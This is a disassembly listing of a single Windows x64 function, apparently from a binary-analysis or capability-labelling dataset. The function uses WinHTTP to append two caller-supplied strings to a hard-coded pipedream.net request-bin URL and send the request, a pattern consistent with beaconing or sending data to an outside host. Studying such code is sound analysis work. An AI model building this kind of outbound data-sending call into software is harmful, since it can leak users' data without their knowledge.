Function at 0x1400013b0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa30]
sub rsp, 0xb30
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0xa20], rax
mov rdi, rdx
mov rbx, rcx
xor r13d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.A_WinHTTP_Example_Program_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r15, rax
test rax, rax
jne 0x14000142b
lea rdx, str.Error_in_WinHttpOpen._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001b50
jmp 0x14000191c
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], 7
mov ecx, 0x50
call fcn.140002480
mov rcx, rax
mov qword [rbp], rax
mov qword [rbp + 0x10], 0x26
mov qword [rbp + 0x18], 0x27
movaps xmm0, xmmword [str.https:__en31nftvhj0td.x.pipedream.net_]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400044c0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400044d0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400044e0]
movups xmmword [rax + 0x30], xmm1
movsd xmm0, qword [0x1400044f0]
movsd qword [rax + 0x40], xmm0
mov eax, dword [0x1400044f8]
mov dword [rcx + 0x48], eax
mov word [rcx + 0x4c], r13w
cmp qword [rbx + 0x18], 0x10
jb 0x1400014b8
mov r8, qword [rbx]
add r8, qword [rbx + 0x10]
mov rbx, qword [rbx]
jmp 0x1400014bf
mov r8, qword [rbx + 0x10]
add r8, rbx
mov rdx, rbx
lea rcx, [rsp + 0x48]
call fcn.140001d20
nop
mov r9, rax
cmp qword [rax + 0x18], 8
jb 0x1400014da
mov r9, qword [rax]
mov rsi, qword [rax + 0x10]
mov r14, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
sub rax, r14
cmp rsi, rax
ja 0x140001521
lea rax, [rsi + r14]
mov qword [rbp + 0x10], rax
lea rbx, [rbp]
cmp rcx, 8
cmovae rbx, qword [rbp]
lea rcx, [rbx + r14*2]
lea r8, [rsi + rsi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [r14 + rsi]
mov word [rbx + rax*2], r13w
jmp 0x140001533
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp]
call fcn.140001eb0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x140001578
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001573
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001573
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400024bc
cmp qword [rdi + 0x18], 0x10
jb 0x14000158b
mov r8, qword [rdi]
add r8, qword [rdi + 0x10]
mov rdi, qword [rdi]
jmp 0x140001592
mov r8, qword [rdi + 0x10]
add r8, rdi
mov rdx, rdi
lea rcx, [rsp + 0x68]
call fcn.140001d20
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x140001644
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rsi, rdi
cmp rdx, 8
jb 0x1400015ce
mov rsi, qword [rdi]
lea r8, [rcx + rcx]
lea rax, [0x140004502]
lea r14, [0x140004500]
cmp rax, rsi
jbe 0x140001603
lea rax, [rsi + r8]
cmp r14, rax
ja 0x140001603
cmp rsi, r14
ja 0x1400015f8
mov rbx, r13
jmp 0x140001608
mov rbx, rsi
sub rbx, r14
sar rbx, 1
jmp 0x140001608
mov ebx, 1
lea rcx, [rsi + 2]
add r8, 2
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
add rbx, rbx
mov r8, rbx
mov rdx, r14
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rsi]
mov r8d, 2
sub r8, rbx
lea rdx, [r14 + 2]
add rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14000165b
mov ebx, 1
mov qword [rsp + 0x28], rbx
mov edx, ebx
mov rcx, rdi
call fcn.1400022b0
mov rdi, rax
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 7
mov word [rdi], r13w
lea r9, [rsp + 0x48]
movq rdi, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq r14, xmm0
cmp r14, 8
cmovae r9, rdi
mov r12, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
sub rax, r12
movq rsi, xmm1
cmp rsi, rax
ja 0x1400016e4
lea rax, [r12 + rsi]
mov qword [rbp + 0x10], rax
lea rbx, [rbp]
cmp rcx, 8
cmovae rbx, qword [rbp]
lea rcx, [rbx + r12*2]
lea r8, [rsi + rsi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + r12]
mov word [rbx + rax*2], r13w
jmp 0x1400016ff
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp]
call fcn.140001eb0
mov r14, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x48]
cmp r14, 8
jb 0x14000173e
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140001735
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001735
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400024bc
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 8
jb 0x140001782
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000177d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000177d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400024bc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x70], 0x68
lea rax, [rbp + 0x20]
mov qword [rbp - 0x58], rax
mov dword [rbp - 0x50], pe_nt_image_headers64
lea rax, [rbp + 0x220]
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x20], 0x400
lea rcx, [rbp]
cmp qword [rbp + 0x18], 8
cmovae rcx, qword [rbp]
lea r9, [rbp - 0x70]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
xor r9d, r9d
movzx r8d, word [rbp - 0x4c]
mov rdx, qword [rbp - 0x58]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rdi, rax
test rax, rax
jne 0x14000181d
lea rdx, str.Error_in_WinHttpConnect._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001b50
jmp 0x1400018cf
mov eax, r13d
mov ecx, 0x800000
cmp dword [rbp - 0x5c], 2
cmove eax, ecx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, qword [rbp - 0x28]
lea rdx, [0x140004528]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbx, rax
test rax, rax
jne 0x14000186e
lea rdx, str.Error_in_WinHttpOpenRequest._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001b50
jmp 0x1400018c6
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x14000189b
lea rdx, str.Error_in_WinHttpSendRequest._n
jmp 0x1400018b1
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
jne 0x1400018bd
lea rdx, str.Error_in_WinHttpReceiveResponse._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001b50
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 8
jb 0x14000191c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001917
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001917
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400024bc
mov rcx, qword [rbp + 0xa20]
xor rcx, rsp
call fcn.140002460
lea r11, [rsp + 0xb30]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret